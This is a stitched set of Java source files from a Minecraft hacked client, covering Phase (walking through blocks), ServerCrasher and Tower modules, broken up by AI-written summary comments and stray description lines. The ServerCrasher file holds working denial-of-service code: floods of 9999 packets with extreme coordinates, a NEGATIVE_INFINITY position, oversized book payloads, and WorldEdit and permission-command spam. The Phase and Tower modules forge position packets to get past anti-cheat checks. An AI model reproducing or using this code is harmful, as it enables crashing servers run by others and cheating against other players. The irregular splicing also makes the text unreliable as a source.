RenderUtils.glColor(modeValue.get().equalsIgnoreCase("minesucht") && mc.thePlayer.getPosition().getY() != y + 1 ? new Color(255, 0, 0, 90) : BlockUtils.getBlock(objectPosition.getBlockPos().up()).getMaterial() != Material.air ? new Color(255, 0, 0, 90) : new Color(0, 255, 0, 90));
RenderUtils.drawFilledBox(new AxisAlignedBB(x - renderManager.renderPosX, (y + 1) - renderManager.renderPosY, z - renderManager.renderPosZ, x - renderManager.renderPosX + 1.0D, y + 1.2D - renderManager.renderPosY, z - renderManager.renderPosZ + 1.0D));
glEnable(GL_TEXTURE_2D);
glEnable(GL_DEPTH_TEST);
glDepthMask(true);
glDisable(GL_BLEND);
RenderUtils.renderNameTag(Math.round(mc.thePlayer.getDistance(x, y, z)) + "m", x + 0.5, y + 1.7, z + 0.5);
GlStateManager.resetColor();
}
}
@EventTarget
public void onMove(final MoveEvent event) {
if ("aac3.5.0".equals(modeValue.get().toLowerCase()) && freeze) {
event.zeroXZ();
}
}
@EventTarget
public void onPacket(final PacketEvent event) {
final Packet<?> packet = event.getPacket();
if(disableLogger)
return;
if(packet instanceof C03PacketPlayer) {
final C03PacketPlayer packetPlayer = (C03PacketPlayer) packet;
switch(modeValue.get().toLowerCase()) {
case "spoof":
if(endPos == null)
break;
packetPlayer.x = endPos.getX() + 0.5D;
packetPlayer.y = endPos.getY() + 1;
packetPlayer.z = endPos.getZ() + 0.5D;
mc.thePlayer.setPosition(endPos.getX() + 0.5D, endPos.getY() + 1, endPos.getZ() + 0.5D);
break;
case "aac3.5.0":
if(!flyTimer.hasTimePassed(60))
return;
event.cancelEvent();
if(!(packet instanceof C03PacketPlayer.C04PacketPlayerPosition) && !(packet instanceof C03PacketPlayer.C06PacketPlayerPosLook))
return;
packets.add(packet);
break;
}
}
}
@Override
public String getTag() {
return modeValue.get();
}
}
// NOTE (AI): The packet section shows the Blink and Flag modes wrapping C04 bursts with STOP_SNEAKING and START_SNEAKING, and the onPacket handler mutating C03 x/y/z to the target in Spoof mode or cancelling and queuing C04/C06 in AAC3.5.0 mode. The client position is snapped with setPosition after each burst, so the client and server views diverge until the server rubberbands.
Walk through solid blocks by sending C04 position bursts into the wall and cancelling the vanilla push-out.
While collided horizontally and on ground, Vanilla and Spartan modes send the six-packet C04 shuffle (self, 0.5/0/0.5, self, self + y + 0.2, 0.5/0/0.5, self + 0.5) and nudge the client position along the yaw; Skip sends +0.06 ladders with directional offsets. AAC3.5.0 mutates C03 x and z by 1e-8 along the movement direction, and onPushOut cancels the push-out so the block never ejects the player.
// ===== FILE: LiquidSense Dev, net/ccbluex/liquidbounce/features/module/modules/exploit/Phase.java =====
/*
* LiquidBounce Hacked Client
* A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge.
* https://github.com/CCBlueX/LiquidBounce/
*/
package net.ccbluex.liquidbounce.features.module.modules.exploit;
import net.ccbluex.liquidbounce.event.*;
import net.ccbluex.liquidbounce.features.module.Module;
import net.ccbluex.liquidbounce.features.module.ModuleCategory;
import net.ccbluex.liquidbounce.features.module.ModuleInfo;
import net.ccbluex.liquidbounce.utils.MovementUtils;
import net.ccbluex.liquidbounce.utils.block.BlockUtils;
import net.ccbluex.liquidbounce.utils.timer.TickTimer;
import net.ccbluex.liquidbounce.value.ListValue;
import net.minecraft.block.BlockAir;
import net.minecraft.client.network.NetHandlerPlayClient;
import net.minecraft.network.Packet;
import net.minecraft.network.play.client.C03PacketPlayer;
import net.minecraft.util.AxisAlignedBB;
import net.minecraft.util.BlockPos;
import net.minecraft.util.MathHelper;
@ModuleInfo(name = "Phase", description = "Allows you to walk through blocks.", category = ModuleCategory.EXPLOIT)
public class Phase extends Module {
private final ListValue modeValue = new ListValue("Mode", new String[] {"Vanilla", "Skip", "Spartan", "Clip", "AAC3.5.0", "Mineplex"}, "Vanilla");
private final TickTimer tickTimer = new TickTimer();
private boolean mineplexClip;
private TickTimer mineplexTickTimer = new TickTimer();
@EventTarget
public void onUpdate(final UpdateEvent event) {
final boolean isInsideBlock = BlockUtils.collideBlockIntersects(mc.thePlayer.getEntityBoundingBox(), block -> !(block instanceof BlockAir));
if(isInsideBlock && !modeValue.get().equalsIgnoreCase("Mineplex")) {
mc.thePlayer.noClip = true;
mc.thePlayer.motionY = 0D;
mc.thePlayer.onGround = true;
}
final NetHandlerPlayClient netHandlerPlayClient = mc.getNetHandler();
switch(modeValue.get().toLowerCase()) {
case "vanilla": {
if(!mc.thePlayer.onGround || !tickTimer.hasTimePassed(2) || !mc.thePlayer.isCollidedHorizontally || !(!isInsideBlock || mc.thePlayer.isSneaking()))
break;
netHandlerPlayClient.addToSendQueue(new C03PacketPlayer.C04PacketPlayerPosition(mc.thePlayer.posX, mc.thePlayer.posY, mc.thePlayer.posZ, true));
netHandlerPlayClient.addToSendQueue(new C03PacketPlayer.C04PacketPlayerPosition(0.5D, 0, 0.5D, true));
netHandlerPlayClient.addToSendQueue(new C03PacketPlayer.C04PacketPlayerPosition(mc.thePlayer.posX, mc.thePlayer.posY, mc.thePlayer.posZ, true));
netHandlerPlayClient.addToSendQueue(new C03PacketPlayer.C04PacketPlayerPosition(mc.thePlayer.posX, mc.thePlayer.posY + 0.2D, mc.thePlayer.posZ, true));
netHandlerPlayClient.addToSendQueue(new C03PacketPlayer.C04PacketPlayerPosition(0.5D, 0, 0.5D, true));
netHandlerPlayClient.addToSendQueue(new C03PacketPlayer.C04PacketPlayerPosition(mc.thePlayer.posX + 0.5D, mc.thePlayer.posY, mc.thePlayer.posZ + 0.5D, true));
final double yaw = Math.toRadians(mc.thePlayer.rotationYaw);
final double x = -Math.sin(yaw) * 0.04D;
final double z = Math.cos(yaw) * 0.04D;
mc.thePlayer.setPosition(mc.thePlayer.posX + x, mc.thePlayer.posY, mc.thePlayer.posZ + z);
tickTimer.reset();
break;
}
case "skip": {
if(!mc.thePlayer.onGround || !tickTimer.hasTimePassed(2) || !mc.thePlayer.isCollidedHorizontally || !(!isInsideBlock || mc.thePlayer.isSneaking()))
break;
final double direction = MovementUtils.getDirection();
final double posX = -Math.sin(direction) * 0.3;
final double posZ = Math.cos(direction) * 0.3;
for(int i = 0; i < 3; ++i) {
mc.getNetHandler().addToSendQueue(new C03PacketPlayer.C04PacketPlayerPosition(mc.thePlayer.posX, mc.thePlayer.posY + 0.06, mc.thePlayer.posZ, true));
mc.getNetHandler().addToSendQueue(new C03PacketPlayer.C04PacketPlayerPosition(mc.thePlayer.posX + posX * i, mc.thePlayer.posY, mc.thePlayer.posZ + posZ * i, true));
}
mc.thePlayer.setEntityBoundingBox(mc.thePlayer.getEntityBoundingBox().offset(posX, 0.0D, posZ));
mc.thePlayer.setPositionAndUpdate(mc.thePlayer.posX + posX, mc.thePlayer.posY, mc.thePlayer.posZ + posZ);
tickTimer.reset();
break;
}
case "spartan": {
if(!mc.thePlayer.onGround || !tickTimer.hasTimePassed(2) || !mc.thePlayer.isCollidedHorizontally || !(!isInsideBlock || mc.thePlayer.isSneaking()))
break;
netHandlerPlayClient.addToSendQueue(new C03PacketPlayer.C04PacketPlayerPosition(mc.thePlayer.posX, mc.thePlayer.posY, mc.thePlayer.posZ, true));
netHandlerPlayClient.addToSendQueue(new C03PacketPlayer.C04PacketPlayerPosition(0.5D, 0, 0.5D, true));
netHandlerPlayClient.addToSendQueue(new C03PacketPlayer.C04PacketPlayerPosition(mc.thePlayer.posX, mc.thePlayer.posY, mc.thePlayer.posZ, true));
netHandlerPlayClient.addToSendQueue(new C03PacketPlayer.C04PacketPlayerPosition(mc.thePlayer.posX, mc.thePlayer.posY - 0.2D, mc.thePlayer.posZ, true));
netHandlerPlayClient.addToSendQueue(new C03PacketPlayer.C04PacketPlayerPosition(0.5D, 0, 0.5D, true));
netHandlerPlayClient.addToSendQueue(new C03PacketPlayer.C04PacketPlayerPosition(mc.thePlayer.posX + 0.5D, mc.thePlayer.posY, mc.thePlayer.posZ + 0.5D, true));
final double yaw = Math.toRadians(mc.thePlayer.rotationYaw);
final double x = -Math.sin(yaw) * 0.04D;
final double z = Math.cos(yaw) * 0.04D;
mc.thePlayer.setPosition(mc.thePlayer.posX + x, mc.thePlayer.posY, mc.thePlayer.posZ + z);
tickTimer.reset();
break;
}
case "clip": {
if(!tickTimer.hasTimePassed(2) || !mc.thePlayer.isCollidedHorizontally || !(!isInsideBlock || mc.thePlayer.isSneaking()))
break;
final double yaw = Math.toRadians(mc.thePlayer.rotationYaw);
final double oldX = mc.thePlayer.posX;
final double oldZ = mc.thePlayer.posZ;
for(int i = 1; i <= 10; i++) {
final double x = -Math.sin(yaw) * i;
final double z = Math.cos(yaw) * i;
if(BlockUtils.getBlock(new BlockPos(oldX + x, mc.thePlayer.posY, oldZ + z)) instanceof BlockAir && BlockUtils.getBlock(new BlockPos(oldX + x, mc.thePlayer.posY + 1, oldZ + z)) instanceof BlockAir) {
mc.thePlayer.setPosition(oldX + x, mc.thePlayer.posY, oldZ + z);
break;
}
}
tickTimer.reset();
break;
}
case "aac3.5.0": {
if(!tickTimer.hasTimePassed(2) || !mc.thePlayer.isCollidedHorizontally || !(!isInsideBlock || mc.thePlayer.isSneaking()))
break;
final double yaw = Math.toRadians(mc.thePlayer.rotationYaw);
final double oldX = mc.thePlayer.posX;
final double oldZ = mc.thePlayer.posZ;
final double x = -Math.sin(yaw);
final double z = Math.cos(yaw);
mc.thePlayer.setPosition(oldX + x, mc.thePlayer.posY, oldZ + z);
tickTimer.reset();
break;
}
}
tickTimer.update();
}
@EventTarget
public void onBlockBB(final BlockBBEvent event) {
if(mc.thePlayer != null && BlockUtils.collideBlockIntersects(mc.thePlayer.getEntityBoundingBox(), block -> !(block instanceof BlockAir)) && event.getBoundingBox() != null && event.getBoundingBox().maxY > mc.thePlayer.getEntityBoundingBox().minY && !modeValue.get().equalsIgnoreCase("Mineplex")) {
final AxisAlignedBB axisAlignedBB = event.getBoundingBox();
event.setBoundingBox(new AxisAlignedBB(axisAlignedBB.maxX, mc.thePlayer.getEntityBoundingBox().minY, axisAlignedBB.maxZ, axisAlignedBB.minX, axisAlignedBB.minY, axisAlignedBB.minZ));
}
}
@EventTarget
public void onPacket(final PacketEvent event) {
final Packet<?> packet = event.getPacket();
if(packet instanceof C03PacketPlayer) {
final C03PacketPlayer packetPlayer = (C03PacketPlayer) packet;
if(modeValue.get().equalsIgnoreCase("AAC3.5.0")) {
final float yaw = (float) MovementUtils.getDirection();
packetPlayer.x = packetPlayer.x - MathHelper.sin(yaw) * 0.00000001D;
packetPlayer.z = packetPlayer.z + MathHelper.cos(yaw) * 0.00000001D;
}
}
}
@EventTarget
private void onMove(final MoveEvent event) {
if (modeValue.get().equalsIgnoreCase("mineplex")) {
if (mc.thePlayer.isCollidedHorizontally)
mineplexClip = true;
if (!mineplexClip)
return;
mineplexTickTimer.update();
event.setX(0);
event.setZ(0);
if (mineplexTickTimer.hasTimePassed(3)) {
mineplexTickTimer.reset();
mineplexClip = false;
} else if (mineplexTickTimer.hasTimePassed(1)) {
final double offset = mineplexTickTimer.hasTimePassed(2) ? 1.6D : 0.06D;
final double direction = MovementUtils.getDirection();
mc.thePlayer.setPosition(mc.thePlayer.posX + (-Math.sin(direction) * offset), mc.thePlayer.posY, mc.thePlayer.posZ + (Math.cos(direction) * offset));
}
}
}
@EventTarget
public void onPushOut(PushOutEvent event) {
event.cancelEvent();
}
@Override
public String getTag() {
return modeValue.get();
}
}
// NOTE (AI): The Vanilla and Spartan modes send the same six-packet C04 shuffle into the wall and nudge the client position by 0.04 along the yaw; Skip sends +0.06 ladders with directional offsets; AAC3.5.0 shifts C03 x and z by 1e-8 along the movement direction. PushOutEvent is cancelled outright, so vanilla's block push never fires.
Crash or lag the server by flooding C04 positions with absurd coordinates.
AACNew floods 9999 C04 packets at pos + 9412*index per axis in one onEnable burst; AACOther uses 500000*index; AACOld sends a single C04 at NEGATIVE_INFINITY. MassiveChunkLoading walks C04 from the player Y to 255 in 5-block steps plus a 6685-packet diagonal sweep; CubeCraft alternates +0.09999999999999 and ground C04 pairs 3000 times per motion tick.
// ===== FILE: LiquidSense Dev, net/ccbluex/liquidbounce/features/module/modules/exploit/ServerCrasher.java =====
/*
* LiquidBounce Hacked Client
* A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge.
* https://github.com/CCBlueX/LiquidBounce/
*/
package net.ccbluex.liquidbounce.features.module.modules.exploit;
import io.netty.buffer.Unpooled;
import net.ccbluex.liquidbounce.event.*;
import net.ccbluex.liquidbounce.features.module.Module;
import net.ccbluex.liquidbounce.features.module.ModuleCategory;
import net.ccbluex.liquidbounce.features.module.ModuleInfo;
import net.ccbluex.liquidbounce.utils.misc.RandomUtils;
import net.ccbluex.liquidbounce.utils.timer.MSTimer;
import net.ccbluex.liquidbounce.value.ListValue;
import net.minecraft.init.Items;
import net.minecraft.item.ItemStack;
import net.minecraft.nbt.NBTTagCompound;
import net.minecraft.nbt.NBTTagList;
import net.minecraft.nbt.NBTTagString;
import net.minecraft.network.PacketBuffer;
import net.minecraft.network.play.client.C03PacketPlayer;
import net.minecraft.network.play.client.C17PacketCustomPayload;
import java.util.Random;
@ModuleInfo(name = "ServerCrasher", description = "Allows you to crash certain server.", category = ModuleCategory.EXPLOIT)
public class ServerCrasher extends Module {
private final ListValue modeValue = new ListValue("Mode", new String[]{"AACNew", "AACOther", "AACOld", "WorldEdit", "Pex", "BookFlood", "CubeCraft", "MassiveChunkLoading"}, "AACNew");
private MSTimer pexTimer = new MSTimer();
@Override
public void onEnable() {
if (mc.thePlayer == null)
return;
switch (modeValue.get().toLowerCase()) {
case "aacnew":
for (int index = 0; index < 9999; ++index)
mc.getNetHandler().addToSendQueue(new C03PacketPlayer.C04PacketPlayerPosition(mc.thePlayer.posX + 9412 * index, mc.thePlayer.getEntityBoundingBox().minY + 9412 * index, mc.thePlayer.posZ + 9412 * index, true));
break;
case "aacother":
for (int index = 0; index < 9999; ++index)
mc.getNetHandler().addToSendQueue(new C03PacketPlayer.C04PacketPlayerPosition(mc.thePlayer.posX + 500000 * index, mc.thePlayer.getEntityBoundingBox().minY + 500000 * index, mc.thePlayer.posZ + 500000 * index, true));
break;
case "aacold":
mc.getNetHandler().addToSendQueue(new C03PacketPlayer.C04PacketPlayerPosition(Double.NEGATIVE_INFINITY, Double.NEGATIVE_INFINITY, Double.NEGATIVE_INFINITY, true));
break;
case "worldedit":
mc.thePlayer.sendChatMessage("//calc for(i=0;i<256;i++){for(a=0;a<256;a++){for(b=0;b<256;b++){for(c=0;c<256;c++){}}}}");
break;
case "cubecraft":
mc.thePlayer.setPosition(mc.thePlayer.posX, mc.thePlayer.posY + 0.3D, mc.thePlayer.posZ);
break;
case "massivechunkloading":
for (double yPos = mc.thePlayer.posY; yPos < 255; yPos += 5)
mc.getNetHandler().addToSendQueue(new C03PacketPlayer.C04PacketPlayerPosition(mc.thePlayer.posX, yPos, mc.thePlayer.posZ, true));
for (int i = 0; i < (1337 * 5); i += 5) {
mc.getNetHandler().addToSendQueue(new C03PacketPlayer.C04PacketPlayerPosition(mc.thePlayer.posX + i, 255, mc.thePlayer.posZ + i, true));
}
break;
}
}
@EventTarget
public void onMotion(final MotionEvent event) {
if (event.getEventState() == EventState.POST)
return;
switch (modeValue.get().toLowerCase()) {
case "bookflood":
final ItemStack bookStack = new ItemStack(Items.writable_book);
final NBTTagCompound bookCompound = new NBTTagCompound();
bookCompound.setString("author", RandomUtils.randomNumber(20));
bookCompound.setString("title", RandomUtils.randomNumber(20));
final NBTTagList pageList = new NBTTagList();
final String pageText = RandomUtils.randomNumber(600);
for (int page = 0; page < 50; page++)
pageList.appendTag(new NBTTagString(pageText));
bookCompound.setTag("pages", pageList);
bookStack.setTagCompound(bookCompound);
for (int packets = 0; packets < 100; packets++) {
final PacketBuffer packetBuffer = new PacketBuffer(Unpooled.buffer());
packetBuffer.writeItemStackToBuffer(bookStack);
mc.getNetHandler().addToSendQueue(new C17PacketCustomPayload(new Random().nextBoolean() ? "MC|BSign" : "MC|BEdit", packetBuffer));
}
break;
case "cubecraft":
final double x = mc.thePlayer.posX;
final double y = mc.thePlayer.posY;
final double z = mc.thePlayer.posZ;
for (int i = 0; i < 3000; ++i) {
mc.getNetHandler().addToSendQueue(new C03PacketPlayer.C04PacketPlayerPosition(x, y + 0.09999999999999D, z, false));
mc.getNetHandler().addToSendQueue(new C03PacketPlayer.C04PacketPlayerPosition(x, y, z, true));
}
mc.thePlayer.motionY = 0;
break;
case "pex":
if (pexTimer.hasTimePassed(2000)) {
mc.thePlayer.sendChatMessage(new Random().nextBoolean() ? "/pex promote a a" : "/pex demote a a");
pexTimer.reset();
}
break;
default:
setState(false);
break;
}
}
@EventTarget
public void onWorld(final WorldEvent event) {
if (event.getWorldClient() == null) setState(false);
}
@EventTarget
public void onTick(final TickEvent event) {
if (mc.thePlayer == null || mc.theWorld == null) setState(false);
}
@Override
public String getTag() {
return modeValue.get();
}
}
// NOTE (AI): The onEnable burst queues 9999 C04 packets at 9412*index offsets (AACNew) or 500000*index (AACOther) in one tick, and AACOld sends a single NEGATIVE_INFINITY position. CubeCraft mode alternates a +0.09999999999999 and a ground C04 pair 3000 times per motion tick. These are grief tools: the absurd coordinates blow past the server's movement validation budget.
Rise one block per jump by placing beneath and sending C04 height ladders; the C03 involvement is the packet-mode fake jump.
Packet mode, on ground with a 2-tick timer, sends C04 +0.42 and +0.753 then snaps the client position up one block; other modes (Motion, MotionTP, Teleport, AAC3.3.9) drive motionY or setPositionAndUpdate. Auto-block switches to the block slot with C09, places through onPlayerRightClick, and swings via swingItem() or a C0A packet when swing is off.
// ===== FILE: LiquidSense Dev, net/ccbluex/liquidbounce/features/module/modules/world/Tower.java =====
/*
* LiquidBounce Hacked Client
* A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge.
* https://github.com/CCBlueX/LiquidBounce/
*/
package net.ccbluex.liquidbounce.features.module.modules.world;
import net.ccbluex.liquidbounce.LiquidBounce;
import net.ccbluex.liquidbounce.event.*;
import net.ccbluex.liquidbounce.features.module.Module;
import net.ccbluex.liquidbounce.features.module.ModuleCategory;
import net.ccbluex.liquidbounce.features.module.ModuleInfo;
import net.ccbluex.liquidbounce.ui.font.Fonts;
import net.ccbluex.liquidbounce.utils.*;
import net.ccbluex.liquidbounce.utils.block.BlockUtils;
import net.ccbluex.liquidbounce.utils.block.PlaceInfo;
import net.ccbluex.liquidbounce.utils.render.RenderUtils;
import net.ccbluex.liquidbounce.utils.timer.TickTimer;
import net.ccbluex.liquidbounce.value.BoolValue;
import net.ccbluex.liquidbounce.value.FloatValue;
import net.ccbluex.liquidbounce.value.IntegerValue;
import net.ccbluex.liquidbounce.value.ListValue;
import net.minecraft.block.BlockAir;
import net.minecraft.client.gui.ScaledResolution;
import net.minecraft.client.renderer.GlStateManager;
import net.minecraft.item.ItemBlock;
import net.minecraft.item.ItemStack;
import net.minecraft.network.Packet;
import net.minecraft.network.play.client.C03PacketPlayer;
import net.minecraft.network.play.client.C09PacketHeldItemChange;
import net.minecraft.network.play.client.C0APacketAnimation;
import net.minecraft.potion.Potion;
import net.minecraft.util.*;
import net.minecraft.stats.StatList;
import org.lwjgl.input.Keyboard;
import net.minecraft.util.Vec3;
import java.awt.*;
@ModuleInfo(name = "Tower", description = "Automatically builds a tower beneath you.", category = ModuleCategory.WORLD, keyBind = Keyboard.KEY_O)
public class Tower extends Module {
/**
* OPTIONS
*/
private final ListValue modeValue = new ListValue("Mode", new String[] {"Hypixel","Jump", "Motion", "ConstantMotion", "MotionTP", "Packet", "Teleport", "AAC3.3.9"}, "Motion");
private final BoolValue autoBlockValue = new BoolValue("AutoBlock", true);
private final BoolValue stayAutoBlock = new BoolValue("StayAutoBlock", false);
private final BoolValue swingValue = new BoolValue("Swing", true);
private final BoolValue stopWhenBlockAbove = new BoolValue("StopWhenBlockAbove", false);
private final BoolValue rotationsValue = new BoolValue("Rotations", true);
private final BoolValue keepRotationValue = new BoolValue("KeepRotation", false);
private final BoolValue onJumpValue = new BoolValue("OnJump", false);
private final ListValue placeModeValue = new ListValue("PlaceTiming", new String[]{"Pre", "Post"}, "Post");
private final FloatValue timerValue = new FloatValue("Timer", 1F, 0F, 10F);
// Jump mode
private final FloatValue jumpMotionValue = new FloatValue("JumpMotion", 0.42F, 0.3681289F, 0.79F);
private final IntegerValue jumpDelayValue = new IntegerValue("JumpDelay", 0, 0, 20);
// ConstantMotion
private final FloatValue constantMotionValue = new FloatValue("ConstantMotion", 0.42F, 0.1F, 1F);
private final FloatValue constantMotionJumpGroundValue = new FloatValue("ConstantMotionJumpGround", 0.79F, 0.76F, 1F);
// Teleport
private final FloatValue teleportHeightValue = new FloatValue("TeleportHeight", 1.15F, 0.1F, 5F);
private final IntegerValue teleportDelayValue = new IntegerValue("TeleportDelay", 0, 0, 20);
private final BoolValue teleportGroundValue = new BoolValue("TeleportGround", true);
private final BoolValue teleportNoMotionValue = new BoolValue("TeleportNoMotion", false);
// Render
private final BoolValue counterDisplayValue = new BoolValue("Counter", true);
/**
* MODULE
*/
// Target block
private PlaceInfo placeInfo;
// Rotation lock
private Rotation lockRotation;
// Mode stuff
private final TickTimer timer = new TickTimer();
private double jumpGround = 0;
// AutoBlock
private int slot;
@Override
public void onDisable() {
if (mc.thePlayer == null) return;
mc.timer.timerSpeed = 1F;
lockRotation = null;
if (slot != mc.thePlayer.inventory.currentItem)
mc.getNetHandler().addToSendQueue(new C09PacketHeldItemChange(mc.thePlayer.inventory.currentItem));
}
@EventTarget
public void onMotion(final MotionEvent event) {
if (onJumpValue.get() && !mc.gameSettings.keyBindJump.isKeyDown())
return;
// Lock Rotation
if (rotationsValue.get() && keepRotationValue.get() && lockRotation != null)
RotationUtils.setTargetRotation(lockRotation);
mc.timer.timerSpeed = timerValue.get();
final EventState eventState = event.getEventState();
if (placeModeValue.get().equalsIgnoreCase(eventState.getStateName()))
place();
if (eventState == EventState.PRE) {
placeInfo = null;
timer.update();
if (autoBlockValue.get() ? InventoryUtils.findAutoBlockBlock() != -1 : mc.thePlayer.getHeldItem() != null
&& mc.thePlayer.getHeldItem().getItem() instanceof ItemBlock) {
if (!stopWhenBlockAbove.get() || BlockUtils.getBlock(new BlockPos(mc.thePlayer.posX,
mc.thePlayer.posY + 2, mc.thePlayer.posZ)) instanceof BlockAir)
move();
final BlockPos blockPos = new BlockPos(mc.thePlayer.posX, mc.thePlayer.posY - 1D, mc.thePlayer.posZ);
if (mc.theWorld.getBlockState(blockPos).getBlock() instanceof BlockAir) {
if (search(blockPos) && rotationsValue.get()) {
final VecRotation vecRotation = RotationUtils.faceBlock(blockPos);
if (vecRotation != null) {
RotationUtils.setTargetRotation(vecRotation.getRotation());
placeInfo.setVec3(vecRotation.getVec());
}
}
}
}
}
}
//Send jump packets, bypasses Hypixel.
private void fakeJump() {
mc.thePlayer.isAirBorne = true;
mc.thePlayer.triggerAchievement(StatList.jumpStat);
}
/**
* Move player
*/
private void move() {
switch (modeValue.get().toLowerCase()) {
case "hypixel":
if(this.getBlocksAmount() > 0) {
if(mc.thePlayer.moveForward != 0.0f || mc.thePlayer.moveStrafing != 0.0) {
double gay2 = 0.419999215712222222222531351325;
double lit = 0.42d;
double baseSpeed = 0.2873D;
if (mc.thePlayer.isPotionActive(Potion.moveSpeed)) {
int amplifier = mc.thePlayer.getActivePotionEffect(Potion.moveSpeed).getAmplifier();
baseSpeed *= 1.0D + 0.2D * (double) (amplifier + 1);
}
if (mc.thePlayer.isPotionActive(Potion.jump)) {
gay2 += (double) ((float) (mc.thePlayer.getActivePotionEffect(Potion.jump).getAmplifier() + 1) * 0.1f);
lit -= (mc.thePlayer.getActivePotionEffect(Potion.jump).getAmplifier() + 1) * 0.075;
baseSpeed -= 0.05 * (mc.thePlayer.getActivePotionEffect(Potion.jump).getAmplifier() + 1);
}
if (mc.thePlayer.motionY < gay2 * lit) {
mc.thePlayer.motionY = gay2;
}
if (mc.thePlayer.posY >= Math.round(mc.thePlayer.posY) - 0.0001 && mc.thePlayer.posY <= Math.round(mc.thePlayer.posY) + 0.0001) {
mc.thePlayer.motionY = 0;
}
}else {
double gay2 = 0.419999215712222222222531351325;
double lit = 0.42d;
if (mc.thePlayer.isPotionActive(Potion.jump)) {
gay2 += (double)((float)(mc.thePlayer.getActivePotionEffect(Potion.jump).getAmplifier() + 1) * 0.1f);
lit -= (mc.thePlayer.getActivePotionEffect(Potion.jump).getAmplifier() + 1)*0.075;
}
if(mc.thePlayer.motionY <gay2*lit){
mc.thePlayer.motionY=gay2;
}
}
}
break;
case "jump":
if (mc.thePlayer.onGround && timer.hasTimePassed(jumpDelayValue.get())) {
fakeJump();
mc.thePlayer.motionY = jumpMotionValue.get();
timer.reset();
}
break;
case "motion":
if (mc.thePlayer.onGround) {
fakeJump();
mc.thePlayer.motionY = 0.42D;
} else if (mc.thePlayer.motionY < 0.1D) mc.thePlayer.motionY = -0.3D;
break;
case "motiontp":
if (mc.thePlayer.onGround) {
fakeJump();
mc.thePlayer.motionY = 0.42D;
} else if (mc.thePlayer.motionY < 0.23D)
mc.thePlayer.setPosition(mc.thePlayer.posX, (int) mc.thePlayer.posY, mc.thePlayer.posZ);
break;
case "packet":
if (mc.thePlayer.onGround && timer.hasTimePassed(2)) {
fakeJump();
mc.getNetHandler().addToSendQueue(new C03PacketPlayer.C04PacketPlayerPosition(mc.thePlayer.posX,
mc.thePlayer.posY + 0.42D, mc.thePlayer.posZ, false));
mc.getNetHandler().addToSendQueue(new C03PacketPlayer.C04PacketPlayerPosition(mc.thePlayer.posX,
mc.thePlayer.posY + 0.753D, mc.thePlayer.posZ, false));
mc.thePlayer.setPosition(mc.thePlayer.posX, mc.thePlayer.posY + 1D, mc.thePlayer.posZ);
timer.reset();
}
break;
case "teleport":
if (teleportNoMotionValue.get())
mc.thePlayer.motionY = 0;
if ((mc.thePlayer.onGround || !teleportGroundValue.get()) && timer.hasTimePassed(teleportDelayValue.get())) {
fakeJump();
mc.thePlayer.setPositionAndUpdate(mc.thePlayer.posX, mc.thePlayer.posY + teleportHeightValue.get(), mc.thePlayer.posZ);
timer.reset();
}
break;
case "constantmotion":
if (mc.thePlayer.onGround) {
fakeJump();
jumpGround = mc.thePlayer.posY;
mc.thePlayer.motionY = constantMotionValue.get();
}
if (mc.thePlayer.posY > jumpGround + constantMotionJumpGroundValue.get()) {
fakeJump();
mc.thePlayer.setPosition(mc.thePlayer.posX, (int) mc.thePlayer.posY, mc.thePlayer.posZ);
mc.thePlayer.motionY = constantMotionValue.get();
jumpGround = mc.thePlayer.posY;
}
break;
case "aac3.3.9":
if (mc.thePlayer.onGround) {
fakeJump();
mc.thePlayer.motionY = 0.4001;
}
mc.timer.timerSpeed = 1F;
if (mc.thePlayer.motionY < 0) {
mc.thePlayer.motionY -= 0.00000945;
mc.timer.timerSpeed = 1.6F;
}
break;
}
}
/**
* Place target block
*/
private void place() {
if(placeInfo == null)
return;
// AutoBlock
int blockSlot = -1;
ItemStack itemStack = mc.thePlayer.getHeldItem();
if(mc.thePlayer.getHeldItem() == null || !(mc.thePlayer.getHeldItem().getItem() instanceof ItemBlock)) {
if(!autoBlockValue.get())
return;
blockSlot = InventoryUtils.findAutoBlockBlock();
if(blockSlot == -1)
return;
mc.getNetHandler().addToSendQueue(new C09PacketHeldItemChange(blockSlot - 36));
itemStack = mc.thePlayer.inventoryContainer.getSlot(blockSlot).getStack();
}
// Place block
if (mc.playerController.onPlayerRightClick(mc.thePlayer, mc.theWorld, itemStack, this.placeInfo.getBlockPos(),
placeInfo.getEnumFacing(), placeInfo.getVec3())) {
if(swingValue.get())
mc.thePlayer.swingItem();
else
mc.getNetHandler().addToSendQueue(new C0APacketAnimation());
}
this.placeInfo = null;
// Switch back to old slot when using auto block
if (!stayAutoBlock.get() && blockSlot >= 0)
mc.getNetHandler().addToSendQueue(new C09PacketHeldItemChange(mc.thePlayer.inventory.currentItem));
}
/**
* Search for placeable block
*
* @param blockPosition pos
* @return
*/
private boolean search(final BlockPos blockPosition) {
if (!BlockUtils.isReplaceable(blockPosition))
return false;
final Vec3 eyesPos = new Vec3(mc.thePlayer.posX, mc.thePlayer.getEntityBoundingBox().minY +
mc.thePlayer.getEyeHeight(), mc.thePlayer.posZ);
PlaceRotation placeRotation = null;
for (final EnumFacing side : EnumFacing.values()) {
final BlockPos neighbor = blockPosition.offset(side);
if (!BlockUtils.canBeClicked(neighbor))
continue;
final Vec3 dirVec = new Vec3(side.getDirectionVec());
for (double xSearch = 0.1D; xSearch < 0.9D; xSearch += 0.1D) {
for (double ySearch = 0.1D; ySearch < 0.9D; ySearch += 0.1D) {
for (double zSearch = 0.1D; zSearch < 0.9D; zSearch += 0.1D) {
final Vec3 posVec = new Vec3(blockPosition).addVector(xSearch, ySearch, zSearch);
final double distanceSqPosVec = eyesPos.squareDistanceTo(posVec);
final Vec3 hitVec = posVec.add(new Vec3(dirVec.xCoord * 0.5, dirVec.yCoord * 0.5, dirVec.zCoord * 0.5));
if ((eyesPos.squareDistanceTo(hitVec) > 18D ||
distanceSqPosVec > eyesPos.squareDistanceTo(posVec.add(dirVec)) ||
mc.theWorld.rayTraceBlocks(eyesPos, hitVec, false,
true, false) != null))
continue;
// face block
final double diffX = hitVec.xCoord - eyesPos.xCoord;
final double diffY = hitVec.yCoord - eyesPos.yCoord;
final double diffZ = hitVec.zCoord - eyesPos.zCoord;
final double diffXZ = MathHelper.sqrt_double(diffX * diffX + diffZ * diffZ);
final Rotation rotation = new Rotation(
MathHelper.wrapAngleTo180_float((float) Math.toDegrees(Math.atan2(diffZ, diffX)) - 90F),
MathHelper.wrapAngleTo180_float((float) -Math.toDegrees(Math.atan2(diffY, diffXZ)))
);
